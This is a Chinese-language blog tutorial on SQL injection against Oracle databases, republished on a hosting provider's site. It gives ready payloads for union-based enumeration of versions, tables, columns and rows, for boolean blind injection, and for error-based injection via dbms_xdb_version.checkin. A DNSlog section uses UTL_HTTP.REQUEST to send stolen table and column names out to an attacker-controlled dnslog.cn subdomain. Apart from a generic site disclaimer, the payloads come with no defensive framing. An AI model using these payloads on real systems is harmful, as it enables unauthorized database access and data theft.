温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Oracle数据库如何利用

发布时间:2021-11-20 11:41:16 来源:亿速云 阅读:205 作者:小新 栏目:网络管理

这篇文章将为大家详细讲解有关Oracle数据库如何利用,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

一、联合注入

1.1、判断是否存在注入点

方法和其他数据库类似,and 1=1 和and 1=2

Oracle数据库如何利用Oracle数据库如何利用

1.2、判断数据库为oracle

注释符号--,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语

and (select count(*) from user_tables)>0--

利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle

Oracle数据库如何利用

1.3、获取基本信息

1.3.1、获取字段数,同样可以使用oder by N 根据返回页面判断

Oracle数据库如何利用

Oracle数据库如何利用

1.3.2、判断列数

union select '1','a','3','4','5' from dual -- //返回正常,则第一个字段是数字型,返回错误,为字符型,这里5个字段都为字符型

Oracle数据库如何利用

1.3.3、获取数据库版本

union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --

Oracle数据库如何利用

查询,当前表所属用户,相当于当前库,如下

Oracle数据库如何利用

1.3.4、查询第一个表名

union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --

Oracle数据库如何利用

union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二个表名

Oracle数据库如何利用

查看第一个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --

Oracle数据库如何利用

查看第二个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --

Oracle数据库如何利用

查看第三个字段名,在后面再加一个and column_name<>’名称’

select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段]' and column_name<>'[第二个字段名]'

Oracle数据库如何利用

读取数据

union select '1',age,NAME,'4','5' from CUSTOMERS --

Oracle数据库如何利用

二、DNSlog

首先去http://www.dnslog.cn/网站申请一个域名

UTL_HTTP.REQUEST型

and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --

Oracle数据库如何利用

Oracle数据库如何利用

第一个字段名

union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn

'),'4','5' from dual --

Oracle数据库如何利用Oracle数据库如何利用

UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入

Oracle数据库如何利用Oracle数据库如何利用

三、布尔盲注

3.1、获取当前数据库表的个数

and (select count(table_name) from user_tables)>1--

Oracle数据库如何利用

Oracle数据库如何利用

3.2、获取第一个表的表名长度

and (select length(table_name) from user_tables where rownum=1)>8--

Oracle数据库如何利用

Oracle数据库如何利用

获取第一个表的第一个字符的Ascii码的值

and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--

Oracle数据库如何利用

四、报错注入--报错函数dbms_xdb_version.checkin()函数

4.1、获取数据库版本信息

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

Oracle数据库如何利用

4.2、当前数据库名称

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

Oracle数据库如何利用

关于“Oracle数据库如何利用”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI